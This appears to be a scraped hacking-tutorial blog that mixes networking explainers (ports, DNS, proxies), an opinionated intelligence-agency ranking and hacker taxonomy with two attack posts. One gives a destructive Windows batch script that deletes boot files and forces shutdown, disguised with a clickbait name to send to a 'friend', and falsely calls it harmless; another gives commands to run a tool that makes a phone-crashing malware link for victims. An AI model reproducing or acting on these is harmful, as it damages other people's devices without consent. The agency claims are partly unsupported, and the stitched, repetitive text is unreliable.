List of Well-Known Ports

Port

Number Description

1 TCP Port Service Multiplexer

(TCPMUX)

5 Remote Job Entry (RJE)

7 ECHO

18 Message Send Protocol (MSP)

20 FTP -- Data

21 FTP -- Control

22 SSH Remote Login Protocol

23 Telnet

25 Simple Mail Transfer Protocol

(SMTP)

29 MSG ICP

37 Time

42 Host Name Server (Nameserv)

43 WhoIs

49 Login Host Protocol (Login)

53 Domain Name System (DNS)69 Trivial File Transfer Protocol (TFTP)

70 Gopher Services

79 Finger

80 HTTP

103 X.400 Standard

108 SNA Gateway Access Server

109 POP2

110 POP3

115 Simple File Transfer Protocol (SFTP)

118 SQL Services

119 Newsgroup (NNTP)

137 NetBIOS Name Service

139 NetBIOS Datagram Service

143 Interim Mail Access Protocol (IMAP)

150 NetBIOS Session Service

156 SQL Server

161 SNMP

179 Border Gateway Protocol (BGP)

190 Gateway Access Control Protocol

(GACP)

194 Internet Relay Chat (IRC)

197 Directory Location Service (DLS)

389 Lightweight Directory Access Protocol

(LDAP)

396 Novell Netware over IP

443 HTTPS

444 Simple Network Paging Protocol

(SNPP)

445 Microsoft-DS

458 Apple QuickTime

546 DHCP Client

547 DHCP Server

563 SNEWS

569 MSN

1080 Socks

A port number is a way to identify a specific process to which an Internet or other network

message is to be forwarded when it arrives at a server.

A port number is a way to identify a specific process to which an Internet or other network

message is to be forwarded when it arrives at a server. For the Transmission Control Protocol and

the User Datagram Protocol, a port number is a 16-bit integer that is put in the header appendedto a message unit. This port number is passed logically between client and server transport layers

and physically between the transport layer and the Internet Protocol layer and forwarded on.

Domain Name System

DNS, as it is called, refers to the hierarchical naming system used for computers, resources and

services on the Internet. It translates the computer hostnames to IP addresses.

DNS resolves an IP address to a hostname or vice versa.

DNS is basically a large database which resides on various computers that contains the names and IP

addresses of various hosts/domains. Other than ip-address DNS also associates various information

with the domain names.

Structure of a DNS

DNS uses a hierarchical tree based name structure. At top of the tree is the “root” (represented as a

dot (.) ) followed by the TLD ( Top Level Domain ), then by the domain-name and any number of

lower level sob-domains separated by a dot.

The Top Level Domains are divided into 2 categories:

1. Generic TLD (gTLD)

2. Country Code TLD (ccTLD)

Below are some of the common Generic Top Level Domains:

.com – comercial web sites

.org – non profit organizations web sites

.edu – restricted to schools and institutions.

.net – originally for network infrastructures, now unrestrictedBelow are some fo the Country Code Top Level Domains:

.us – United States

.in – India

.uk – United Kingdom

.ru – Russia

The following shows a sample representation of the structure of the DNS tree:

Authority, Delegation and Zone

The Authority for the root domain and gTLD lies with Internet Corporation for Assigned Numbers and

Names (ICANN). ccTLD’s are delegated to individual countries for administration purpose. Each

level in the hierarchy may delegate the authoritative control to the next lower level. There is a DNS

server running in every level of the hierarchy and the responsibility of running the DNS server lies

with the Authority at that level.

For Example, when the root domain gets a DNS query for www.example.com, the root will delegate

responsibility for resolving to its lower level “.com”, which in-turn will delegate to “example”.

Finally the DNS server in the “example” will respond with the IP address of the hostname “www”.

A zone is simply a portion of a domain. For example, the domain example.com may contain all the

information for a.example.com, b.example.com and c.example.com. However, the zone example.com

contains only information for example.com and delegates the responsibility to the authoritative name

servers for the subdomains. In general, if there are no subdomains, then the zone and domain are

essentially the same.

Resource Records

A DNS zone database is made up of a collection of resource records. Each resource record specifies

information about a particular object. The DNS server uses these records to answer queries for hosts

in its zone. For example, address mapping (A) record, map a host name to an IP address, and reverse-

lookup pointer (PTR) records map an IP address to a host name. Here are some of commonly used

Resource Records.A Record: The ‘A’ record specifies the IP address of a host. ‘A’ record will have the details of the

domain name and its associated IP address. When a Query is given to resolve domain name, DNS

server will refer the ‘A’ record and answer with the IP address present in the record.

PTR Record: A PTR record maps the IP address to a specific host.

NS Record: An NS record or name server record maps a domain name to a list of DNS servers

authoritative for that domain. Delegations depend on NS records.

MX Record: An MX record or mail exchange record maps a domain name to a list of mail exchange

servers for that domain. For example, when you send a mail to alpha@example.com, the mail will be

routed to the Mail Server as specified in MX record.

DNS Queries

A DNS query would be something like ‘what is the IP address of a.example.com’. A DNS server may

receive such a query for any domain, to which it has no information about. The DNS server will

respond is different ways for which it has no information about.

The following are the three types of DNS queries:

1. Recursive query

2. Iterative query

3. Inverse query

In Recursive query, the following are the steps involved when a host queries its local DNS server for

‘a.example.com’.

Host sends query ‘what is the IP address of a.example.com’ to locally configured DNS

server.

DNS server looks up a.example.com in local tables – not found

DNS sends query to a root-server for the IP of a.example.com

The root-server replies with a referral to the TLD servers for .com

The DNS server sends query ‘what is the IP address a.example.com’ to one of the .com TLD

servers.

The TLD server replies with a referral to the name servers for example.com

The DNS server sends query ‘what is the IP address a.example.com’ to name server for

example.com.

Zone file defines a A record which shows ‘a’ s IP address is x.x.x.x.

DNS returns the A record for ‘a’.

In Iterative query, if the DNS server doesn’t know the answer, it will refer other DNS server as

response. So the client which initiates the query will once again contact the DNS server which camein as response.

In Inverse query, an IP address will be provided and a hostname will be asked.

Proxy server

A proxy server is a server (a computer system or an application) that acts as an intermediary for

requests from clients seeking resources from other servers.

A client connects to the proxy server, requesting some service, such as a file, connection, web page,

or other resource available from a different server and the proxy server evaluates the request as a

way to simplify and control its complexity.

Proxies were invented to add structure and encapsulation to distributed systems.

Today, most proxies are web proxies, facilitating access to content on the World Wide Web and

providing anonymity.

Proxy Server - Types

There are many different types of proxy server and here are some common types:

Anonymous Proxy

Anonymous proxy servers conceal your information. When you go to request something from the

webpage, the webpage gets the IP address of the proxy server that you're using instead of your own.

The server has no way of accessing your IP address and communication between you and the proxy

server is encrypted, in cases where the greatest deal of security is desired.

High Anonymity ProxyThis type of proxy server does not identify itself as a proxy server and does not make available the

original IP address. High anonymity proxies, only include the REMOTE_ADDR header with the IP

address of the proxy server, making it appear that the proxy server is the client.

Transparent Proxy

An example of a transparent proxy would be a server that simply forwards your request to the

resource that you want without concealing any of your information. This may be used in the

workplace, where the IP address of the request is revealed to the server being requested from but

where the proxy provides access to the resource for a multitude of computers within the network.

Transparent proxies are generally not what people are looking for when they go shopping for proxy

server access online.

Reverse Proxy

A reverse proxy server is generally used to pass requests from the Internet, through a firewall to

isolated, private networks. It is used to prevent Internet clients from having direct, unmonitored

access to sensitive data residing on content servers on an isolated network, or intranet. If caching is

enabled, a reverse proxy can also lessen network traffic by serving cached information rather than

passing all requests to actual content servers.

Top 10 Intelligence agencies of the world

2020-04-12T13:02:00.001+05:30

Top 10 Intelligence agencies of the world

CIA – America

Formed : September 18, 1947

Agency executive : Leon Panetta, Director

Parent agency : Central Intelligence Group

CIA is the largest of the intelligence agencies and is responsible for gathering data from other

countries that could impact U.S. policy. It is a civilian intelligence agency of the United States

government responsible for providing national security intelligence to senior United States

policymakers. The CIA also engages in covert activities at the request of the President of the United

States of America. The CIA’s primary function is to collect information about foreign governments,

corporations, and individuals, and to advise public policymakers. The agency conducts covert

operations and paramilitary actions, and exerts foreign political influence through its Special

Activities Division. It has failed to control terrorism activities including 9/11, Not even a single top

level Al-Queda leader captured own its own in the past 9 years – ‘they missed 1 Million’ Soviet

troops marching into Afghanistan’. Iraq’s Weapons of Mass Destruction, Have the found them yet? -

Number of defectors/ double agents numbers close to a thousand. On 50th anniversary of CIA,

President Clinton said ”By necessity, the American people will never know the full story of your

courage. Indeed, no one knows that what CIA really does”. Highly funded and technologically most

advanced Intelligence set-up in the world.

M1-6 – United Kingdom

Formed : 1909 as the Secret Service Bureau

Jurisdiction : Government of the United Kingdom

Headquarters : Vauxhall Cross, London

Agency executive : Sir John Sawers KCMG, Director General

Parent agency : Foreign and Commonwealth Office

The British have had a long public perception of an effective intelligence agency (due to the success

of the unrealistic, yet entertaining, James Bond movies). This perception matches reality. MI6, theBritish equivalent to the CIA, has had two big advantages in staying effective: The British Official

Secrets Act and D notices can often prevent leaks (which have been the bane of the CIA’s existence).

Some stories have emerged. In the Cold War, MI6 recruited Oleg Penkovsky, who played a key part

in the favorable resolution of the Cuban Missile Crisis, and Oleg Gordievski, who operated for a

decade before MI6 extracted him via Finland. The British were even aware of Norwood’s activities,

but made the decision not to tip their hand. MI6 also is rumored to have sabotaged the Tu-144

supersonic airliner program by altering documents and making sure they fell into the hands of the

KGB.

ISI – Pakistan

Formed : 1948

Jurisdiction : Government of Pakistan

Headquarters : Islamabad, Pakistan

Agency executive : Lieutenant General Ahmad Shuja Pasha, PA Director General

With the lengthiest track record of success, the best know Intelligence so far on the scale of records is

ISI. The Inter-Services Intelligence was created as an independent unit in 1948 in order to strengthen

the performance of Pakistan’s Military Intelligence during the Indo-Pakistani War of 1947. Its success

in achieving its goal without leading to a full scale invasion of Pakistan by the Soviets is a feat

unmatched by any other through out the intelligence world. KGB, The best of its time, failed to

counter ISI and protect Soviet interests in Central Asia. It has had 0 double agents or Defectors

through out its history, considering that in light of the whole war campaign it carried out from money

earned by selling drugs bought from the very people it was bleeding, The Soviets. It has protected its

Nuclear Weapons since formed and it has foiled Indian attempts to attain ultimate supremacy in the

South-Asian theatres through internal destabilization of India. It is above All laws in its host country

Pakistan ‘A State, with in a State’. Its policies are made ‘outside’ of all other institutions with the

exception of The Army. Its personnel have never been caught on camera. Its is believed to have the

highest number of agents worldwide, close to 10,000. The most striking thing is that its one of the

least funded Intelligence agency out of the top 10.

Mossad – Israel

Formed : December 13, 1949 as the Central Institute for Coordination

Agency executive : Meir Dagan, Director

Parent agency : Office of the Prime Minister

The Mossad is responsible for intelligence collection and covert operations including paramilitary

activities. It is one of the main entities in the Israeli Intelligence Community, along with Aman

(military intelligence) and Shin Bet (internal security), but its director reports directly to the Prime

Minister. The list of its successes is long. Israel’s intelligence agency is most famous for having takenout a number of PLO operatives in retaliation for the attack that killed eleven Israeli athletes at the

1972 Olympic games in Munich. However, this agency has other success to its name, including the

acquisition of a MiG-21 prior to the Six-Day war of 1967 and the theft of the plans for the Mirage 5

after the deal with France went sour. Mossad also assisted the United States in supporting Solidarity

in Poland during the 1980s.

MSS – China

Jurisdiction : People’s Republic of China

Headquarters : Beijing

Agency executive : Geng Huichang, Minister of State Security

Parent agency : State Council

Ministry of State Security is the security agency of the People’s Republic of China. It is also probably

the Chinese government’s largest and most active foreign intelligence agency, though it is also

involved in domestic security matters. Article 4 of the Criminal Procedure Law gives the MSS the

same authority to arrest or detain people as regular police for crimes involving state security with

identical supervision by the procuratorates and the courts. It is headquartered near the Ministry of

Public Security of the People’s Republic of China in Beijing. According to Liu Fuzhi, Secretary-

General of the Commission for Politics and Law under the Central Committee of the Communist Party

of China and Minister of Public Security, the mission of the MSS is to ensure “the security of the state

through effective measures against enemy agents, spies, and counter-revolutionary activities designed

to sabotage or overthrow China’s socialist system.” One of the primary missions of the MSS is

undoubtedly to gather foreign intelligence from targets in various countries overseas. Many MSS

agents are said to have operated in the Greater China region (Hong Kong, Macau, and Taiwan) and to

have integrated themselves into the world’s numerous overseas Chinese communities. At one point,

nearly 120 agents who had been operating under non-official cover in the U.S., Canada, Western and

Northern Europe, and Japan as businessmen, bankers, scholars, and journalists were recalled to

China, a fact that demonstrates the broad geographical scope of MSS agent coverage.

BND – Germany

Formed : 1 April 1956

Agency executive : Gehlen Organization

Parent agency : Central Intelligence Group

The Bundesnachrichtendienst is the foreign intelligence agency of the German government, under the

control of the Chancellor’s Office. The BND acts as an early warning system to alert the German

government to threats to German interests from abroad. It depends heavily on wiretapping and

electronic surveillance of international communications. It collects and evaluates information on a

variety of areas such as international terrorism, WMD proliferation and illegal transfer of technology,organized crime, weapons and drug trafficking, money laundering, illegal migration and information

warfare. As Germany’s only overseas intelligence service, the BND gathers both military and civil

intelligence.

FSB – Russia

Formed : 3 April, 1995

Headquarters : Lubyanka Square

Preceding agency : KGB

The Federal Security Service of Russian Federation (FSD) is the main domestic security agency of

the Russian Federation and the main successor agency of the Soviet-era Cheka, NKVD and KGB. The

FSB is involved in counter-intelligence, internal and border security, counter-terrorism, and

surveillance. Its headquarters are on Lubyanka Square, downtown Moscow, the same location as the

former headquarters of the KGB. All law enforcement and intelligence agencies in Russia work under

the guidance of FSB, if needed. For example, the GRU, spetsnaz and Internal Troops detachments of

Russian Ministry of Internal Affairs work together with the FSB in Chechnya. The FSB is responsible

for internal security of the Russian state, counterespionage, and the fight against organized crime,

terrorism, and drug smuggling. The number of FSB personnel and its budget remain state secrets,

although the budget was reported to jump nearly 40% in 2006.

DGSE – France

Formed : April 2, 1982

Preceding agency : External Documentation and Counter-Espionage Service

Minister responsible : Hervé Morin, Minister of Defence

Agency executive : Erard Corbin de Mangoux, Director

Directorate General for External Security is France’s external intelligence agency. Operating under

the direction of the French ministry of defence, the agency works alongside the DCRI (the Central

Directorate of Interior Intelligence) in providing intelligence and national security, notably by

performing paramilitary and counterintelligence operations abroad. The General Directorate for

External Security (DGSE) of France has a rather short history compared to other intelligence agencies

in the region. It was officially founded in 1982 from a multitude of prior intelligence agencies in the

country. Its primary focus is to gather intelligence from foreign sources to assist in military and

strategic decisions for the country. The agency employs more than five thousand people.

RAW – India

Formed : 21 September 1968Headquarters : New Delhi, India

Agency executive : K. C. Verma, Secretary (R)

Parent agency : Prime Minister’s Office, GoI

Research and Analysis Wing is India’s external intelligence agency. It was formed in September

1968, after the newly independent Republic of India was faced with 2 consecutive wars, the Sino-

Indian war of 1962 and the India-Pakistani war of 1965, as it was evident that a credible intelligence

gathering setup was lacking. Its primary function is collection of external intelligence, counter-

terrorism and covert operations. In addition, it is responsible for obtaining and analyzing information

about foreign governments, corporations, and persons, in order to advise Indian foreign policymakers.

Until the creation of R&AW, the Intelligence Bureau handled both internal and external intelligence.

ASIS – Australia

Formed : 13 May 1952

Headquarters : Canberra, Australian Capital Territory, Australia

Minister responsible : The Hon. Stephen Smith MP, Minister for Foreign Affairs

Agency executive : Nick Warner, Director-General

Australian Secret Intelligence Service is the Australian government intelligence agency responsible

for collecting foreign intelligence, undertaking counter-intelligence activities and cooperation with

other intelligence agencies overseas. For more than twenty years, the existence of the agency was a

secret even from its own government. Its primary responsibility is gathering intelligence from mainly

Asian and Pacific interests using agents stationed in a wide variety of areas. Its main purpose, as with

most agencies, is to protect the country’s political and economic interests while ensuring safety for

the people of Australia against national threats.

Computer Security and Computer Crime

2020-04-12T13:00:00.001+05:30

Computer Security

The security applied to computing devices such as computers and smartphones, as well as computer

networks such as private and public networks, including the whole Internet is called as Computer

Security

It includes physical security to prevent theft of equipment and information security to protect the data

on that equipment. It is sometimes referred to as "Cyber Security" or "IT security".

Cybersecurity is the process of applying security measures to ensure confidentiality, integrity, and

availability of data.

Computer Threats

A threat is a possible danger that might exploit a vulnerability to breach security and thus cause

possible harm.

It can be either "intentional" (i.e., intelligent; e.g., an individual cracker or a criminal organization) or

"accidental" (e.g., the possibility of a computer malfunctioning, or the possibility of a natural disaster

such as an earthquake, a fire, or a tornado) or otherwise a circumstance, capability, action, or event.

Computer Crime

Computer crime refers to any crime that involves a computer and a network. Net crime refers to

criminal exploitation of the Internet.

Cybercrimes are defined as: "Offences that are committed against individuals or groups of

individuals with a criminal motive to intentionally harm the reputation of the victim or cause

physical or mental harm to the victim directly or indirectly, using modern telecommunication

networks such as Internet (Chat rooms, emails, notice boards and groups) and mobile phones

(SMS/MMS)".

Such crimes may threaten a nation’s security and financial health. Issues surrounding this type of

crime has become high-profile, particularly those surrounding cracking, copyright infringement, child

pornography, and child grooming. There are also problems of privacy when confidential information

is lost or intercepted, lawfully or otherwise.

Topology of computer crime

Computer crime encompasses a broad range of activities. Generally, however, it may be divided into

two categories: (1) crimes that target computers directly; (2) crimes facilitated by computer networks

or devices, the primary target of which is independent of the computer network or device.

1. Crimes that primarily target computer networks or devices include: Computer viruses,

Denial-of-service attacks, Malware (malicious code)

2. Crimes that use computer networks or devices to advance other ends include: Cyberstalking, Fraud and identity theft, Information warfare, Phishing scams

Cyber Terrorism

Cyber terrorism in general, can be defined as an act of terrorism committed through the use of

cyberspace or computer resources. As such, a simple propaganda in the Internet, that there will be

bomb attacks during the holidays can be considered cyber-terrorism.

Crash or send virus to your friend's pc by this code 🔐🔐

2020-03-17T16:19:00.000+05:30

Crash your friend's pc by this code 🔐🔐

Helo friend's I am back with a new post

In this post I will how to send small virus to your frnd's pc just for doing prank with him 😜😜

The steps are as fallow :-

1) open Notepad Then Type or Copy the following code in NotePad

2) The code is :-

Copy this code as it is

@echo off

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini

@echo off

msg * YOU GOT OWNED!!!

shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

.......

Save NotePad File as clickbait.bat

And send it to your Friend as a prank

Note:-

•Extension should be (.bat)

•Use a very clickbait kind of Name like free hacking tools or something else as wish 😜😜😜🤓

The Above mentioned trick (code) is just one click instant shutdown. It will not harm any pc it is just for fun

This Blog and it's contents are strictly for EDUCATIONAL PURPOSES

AND to have Prank with your friend's

✨❤️If any problem faced comment it

I will tell it to you ❤️✨

What Really is Hacking?🤔

2020-03-17T00:02:00.003+05:30

What Really is Hacking?

Hacking

Hacking is the practice of modifying the features of a system, in order to accomplish a goal outside of

the creator's original purpose.

The most fundamental meaning of hacking is gaining unauthorized access to data in a system or

computer.

Hacking is exploiting security controls either in a technical, physical or a human-based element. ~

Kevin Mitnick

The person who is consistently engaging in hacking activities, and has accepted hacking as a lifestyle

and philosophy of their choice, is called a hacker.

Computer hacking is the most popular form of hacking nowadays, especially in the field of computer

security.

The mass attention given to blackhat hackers from the media cause the whole hacking term is often

mistaken for any security related cybercrime.

However, the word "hacking" has two definitions. The first definition refers to the hobby/profession

of working with computers. The second definition refers to modifies computer hardware or software

in a way that changes the creator's original intent.

It is the art of exploiting computers to get access to otherwise unauthorized information. Now that the

world is using IT systems to gather, store and manipulate important information there is also a need to

make sure that data is secure. However, no system is without is problems. Holes are often present

within security systems which, if exploited, allow hackers to gain access to this otherwise restrictedinformation.

Purpose behind Hacking : When somebody tries to access other's computer systems with the aim

of destroying or altering important information or data, such an activity is defined as hacking and

the person is called a hacker. It is believed that hacking activities are not backed by solid logical

reasons. On the contrary, hackers try to experiment with the computer brilliance by trying of

affect other system with viruses. Hacking is done mostly for sheer pleasure by which a hacker

wants to prove his skills. But if at all one searches for reasons behind it, it can be logically

concluded Hacking is carried out with the objective of tracing vital information and affecting

computer systems with viruses.
Hacker

Hacker is a term used by some to mean "a clever programmer" and by others, especially those in

popular media, to mean "someone who tries to break into computer systems.

Cracking

Cracking is the act of breaking into a computer system, often on a network. A cracker can be doing

this for profit, maliciously, for some altruistic purpose or cause, or because the challenge is there.

Some breaking-and-entering has been done ostensibly to point out weaknesses in a site's security

system.

Contrary to widespread myth, cracking does not usually involve some mysterious leap of hackerly

brilliance, but rather persistence and the dogged repetition of a handful of fairly well-known tricks

that exploit common weaknesses in the security of target systems. Accordingly, most crackers are

only mediocre hackers. These two terms should not be confused with each others. Hackers generally

deplore cracking.

Cracker

A cracker is someone who breaks into someone else's computer system, often on a network; bypasses

passwords or licenses in computer programs; or in other ways intentionally breaches computer

security.

Hacking as a Destructive Tool

The common stance on hacking with the average person is that it is morally wrong. There have been

several instances where hacking has proven to have caused problems. Hacking can create a variety of

damages to people, groups and systems of broad spectrum. Negative Hacking Interactions:

Identity Theft – Some hackers can gain access to sensitive information which could be used to fuelidentity theft. This identity theft can cause damages to credit ratings from consumer agencies, run-ins

with the law because the person who stole the identity committed a crime, or other damages which

may not be repairable at all.
E-mail Access – Hackers have the ability to gain access to personal e-mail accounts. These can have

a variety of information and other private files which most people would regard as important. This

information could also hold sensitive data which could be used against someone or simply cause ruin

for those who are involved in the breach of privacy.
Website Security – Many websites have been victims of hackers. Usually the hackers would simply

destroy data and leave the websites in an inoperable state which would leave website owners with

the task of rebuilding their sites from scratch if they did not have a backup. This could also pose risks

for companies who had their consumer's payment information hosted on their websites. Defacing the

websites by leaving tags or "calling cards" stating the unknown group's signature was not uncommon

in the early days of hacking websites.
Hacking as a Political Statement

Some hackers are out to get the government and show the vulnerabilities that the government has in

trusting their systems too much.

This is extremely illegal in the United States and other countries. This has led to some vulnerability in

security systems to being fixed and made the government computer systems even stronger. Of course it

is difficult to do this kind of hacking without a trace being left behind.

Most if not all hackers who get into the government systems around the world are captured by the

government and punished for unauthorized access to their systems.
Hacking as a Learning Tool

Hacking leads several people into the interest of creating newer, better software which can

revolutionize the electronic world.

Although it is important to remember that hacking is a varied skill and those who have been hacking

the longest will have more success because they know how computers work and how they have

evolved over time.

Ethical hackers use their knowledge to improve the vulnerabilities in systems, their hardware and

software. The ethical hackers come from a wide variety of different backgrounds.

The best examples are from ex-malicious hackers who decide their purpose is to help prevent

damages to companies by holes in their security. These companies pay their ethical hackers

handsomely as they are providing a service which could be extremely useful in preventing damages

and loss.

They can be hired by single companies who need advanced protection while others could be hired by

software designers who will reach millions of people around the world.

Classification

various Kind of hacking

Computer Hackers have been around for so many years. Since the Computer and Internet became

widely used in the World, We have started to hear more and more about hacking.

As the word ‘Hacking’ has two meaning, so the word ‘Hacker’ is a word that has two meanings:

Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers

enjoy Exploring and Learning how Computer systems operate. They love discovering new ways to

work electronically.

Recently, Hacker has taken on a new meaning that someone who finds weaknesses in a computer or

computer network, though the term can also refer to someone with an advanced understanding of

computers and computer networks.

Normally, Hackers are people who try to gain unauthorized access to your computer.

With controversy, the term hacker is reclaimed by computer programmers who argue that someone

breaking into computers is better called a cracker, not making a difference between computer

criminals (black hats) and computer security experts (white hats). Some white hat hackers claim that

they also deserve the title hacker, and that only black hats should be called crackers.

Classifications of Hacker

There are many more types of hackers in the world according to their motive and type of work. The

following list forwards one mote steps to better knowing hackers.

White hat hacker

The term "White hat hacker" refers to an ethical hacker, or a computer security expert, who

specializes in penetration testing and in other testing methodologies to ensure the security of an

organization's information systems. Ethical hacking is a term coined by IBM meant to imply a broader

category than just penetration testing. White-hat hackers are also called penetration tester, sneakers,

red teams, or tiger teams. Generally, White hat hackers or ethical hackers are the good guy in the

world of hackers.

Black hat hacker

A black hat hacker is an individual with extensive computer knowledge whose purpose is to breach

or bypass internet security. Black hat hackers are also known as crackers or dark-side hackers. Thegeneral view is that, while hackers build things, crackers break things. They are computer security

hackers that break into computers and networks or also create computer viruses. The term “black hat”

comes from old westerns where the bad guys usually wore black hats.

Black hat hackers break into secure networks to destroy data or make the network unusable for those

who are authorized to use the network.

They choose their targets using a two-pronged process known as the "pre-hacking stage".

Step 1: Targeting

Step 2: Research and Information Gathering

Step 3: Finishing the Attack

Grey hat hacker

A grey hat hacker is a combination of a black hat and a white hat hacker. It may relate to whether they

sometimes arguably act illegally, though in good will, or to show how they disclose vulnerabilities.

They usually do not hack for personal gain or have malicious intentions, but may be prepared to

technically commit crimes during the course of their technological exploits in order to achieve better

security.

Blue hat

A blue hat hacker is someone outside computer security consulting firms who is used to bug test a

system prior to its launch, looking for exploits so they can be closed. Microsoft also uses the term

BlueHat to represent a series of security briefing events.

Elite hacker

A social status among hackers, elite is used to describe the most skilled. Newly discovered activities

will circulate among these hackers.

Script kiddie

A script kiddie (or skiddie) is a non-expert who breaks into computer systems by using pre-packaged

automated tools written by others, usually with little understanding of the underlying concept hence

the term script (i.e. a prearranged plan or set of activities) kiddie (i.e. kid, child an individual lacking

knowledge and experience, immature).

Neophyte “newbie”

A neophyte, "n00b", or "newbie" is someone who is new to hacking or phreaking and has almost no

knowledge or experience of the workings of technology, and hacking.

Hacktivist

A hacktivist is a hacker who utilizes technology to announce a social, ideological, religious, or

political message. In general, most hacktivism involves website defacement or denial-of-service

attacks.

Nation stateIt refers to Intelligence agencies and cyber warfare operatives of nation states.

Organized criminal gangs

Criminal activity carried on for profit.

Bots

Automated software tools, some freeware, available for the use of any type of hacker.

How to send virus to your friend's phone by a link

2020-03-16T01:12:00.001+05:30

Hi guys' if you are searching for how to spread virus from link and searching for the best page to get the best explanation about how to spread virus from link. Then you are at the right place.

Today I'm here going to share the step by step tutorial about "How to send virus to your friend's phone by a link". By this article, you can get a lot of about how to spread virus from link, how to use infect tool. And I'm sure that you will never get all these information like us on the internet anywhere else.

How send virus by Link

Hello, guy's I am back with another post about, how to send a virus or spread the virus from just sending the link in an android device. So sending viruses and accessing devices is not easy nowadays but still, we can exploit many of the devices by this tool named Infect which is made up of bash scripting language so this script is available for termux users you can run this tool in rooted and non-rooted devices.And this tool is made by noob-hackers tere for cradeit goes to him.

How to use infect tool

So guy's today we are going to spread a virus through just link and lot more...

#Follow below steps as given

1. Make sure you installed these Termux and updated it

2. After installing these apps first open termux and apply these command

$ apt-get update -y

$ apt-get upgrade -y

$ pkg install python -y

$ pkg install python2 -y

$ pkg install git -y

$ pip install lolcat

$ git clone https://github.com/noob-hackers/Infect

$ ls

$ cd infect

$ ls

$ bash infect.sh

Now after tool opens in that you will get 4 option's

#1 Infect now, from this option you will get a link and send that link to your victim and when your victim installs that app his/her device will crash and lot more.

#2 Save now, from this you will get a link of antivirus type app which removes that virus from his/her device

#3 Update script, from this you can update script.

#4 Exit, exit from script.

Note:- Make sure that whatever you are doing is only for educational purposes and nothing else if you are doing any illegal activity then we are not responsible for that.

These are some screenshots

Tnx every one

❤️😊 for reading my page 😊❤️

. .

Drop comment if any problem faced

NOTE: This article is only for an Educational purpose. Any actions or activities related to the material contained on this Website is solely your responsibility. Misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and Hackers Dormitory.will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Hackers Dormitory

How to make your own game For free

How to set password for my Folder in windows

Install mariadb/MySQL database server in termux

What is MariaDB ?

How to install in Termux ?

pkg update pkg install mariadb

mysql_install_db

Start MariaDB server :

for access database :

Stop MariaDB server :

pkill mysql Now MariaDB server is stoped. if you all get an error which is Acces denied for user 'root' @ 'local host' Type this command pkill mysql mysqld_safe -u root& Mysql -u.root

Install Nginx web server in Android | Termux

What is nginx ?

How to install nginx ?

Install MyServer in Termux on Android

What is MyServer ?

How to use MyServer ?

CLI Use :

Menual Use :

MyServer Support :

MyServer is available for :

How to Install MyServer ?

Now MyServer is installed successfully.Now type myserver start to start MyServer.

How to install C/C++ in Android using Termux

What is C ?

How to install C ?

What is C++??

How to install C++ ?

How to install NMAP in Termux

What is Nmap ?

Nmap features :

Uses of Nmap :

How to install Nmap in Android ?

How to install Nmap in other linux device ?

Nmap Commands :

How to install PHP in Android using Termux

What is PHP ?

How to install PHP in Android ?

How to install PHP in Ubuntu ?

How to install IP-Tracer in Android using Termux

What is IP-Tracer ?

How to install IP-Tracer ?

How to use IP-Tracer

Install the best hacking tool in Termux - ONEX

What is Onex ?

How to use onex ?

CLI Mode :

Menu Mode :

Install Tool-X using onex ?

How to install Tool-X on termux

What is Tool-X ?

How to Install in termux ?

How to install in Ubuntu ?

Different types of Phishing attacks

what is Phishing attacks??

Common Attacks and Viruses used by Hackers

How To Install SSH On Termux

What is SSH?

Installing required packages

Why Study JavaScript??? in 2020

Why Study JavaScript?

Web pages are not the only place where JavaScript is used. Many desktop and server programs use JavaScript. Node.js is the best known. Some databases, like MongoDB and CouchDB, also use JavaScript as their programming language Beginner Friendliness

Easy to Pick Up

Fun

Complex

Scalability

Not Fast

Difficult to Maintain

Community

Largest StackOverflow Community

Largest Meetup Community in Terms of Programming Language

Most-tagged language at GitHub

Career Opportunities

Future

JavaScript is the #8 most popular language on TIOBE index

Interest in learning JavaScript grew by 22.3% in 2015

Malware : A hackers henchman {weapon}

What Is Network systems and DNS working

Top 10 Intelligence agencies of the world

pkg update

pkg install mariadb

pkill mysql

Now MariaDB server is stoped.

if you all get an error which is Acces denied for user 'root' @ 'local host'

Type this command

pkill mysql
mysqld_safe -u root&
Mysql -u.root

Now MyServer is installed successfully.
Now type myserver start to start MyServer.

Web pages are not the only place where JavaScript is used. Many desktop and server programs use JavaScript. Node.js is the best known. Some databases, like MongoDB and CouchDB, also use JavaScript as their programming language

Beginner Friendliness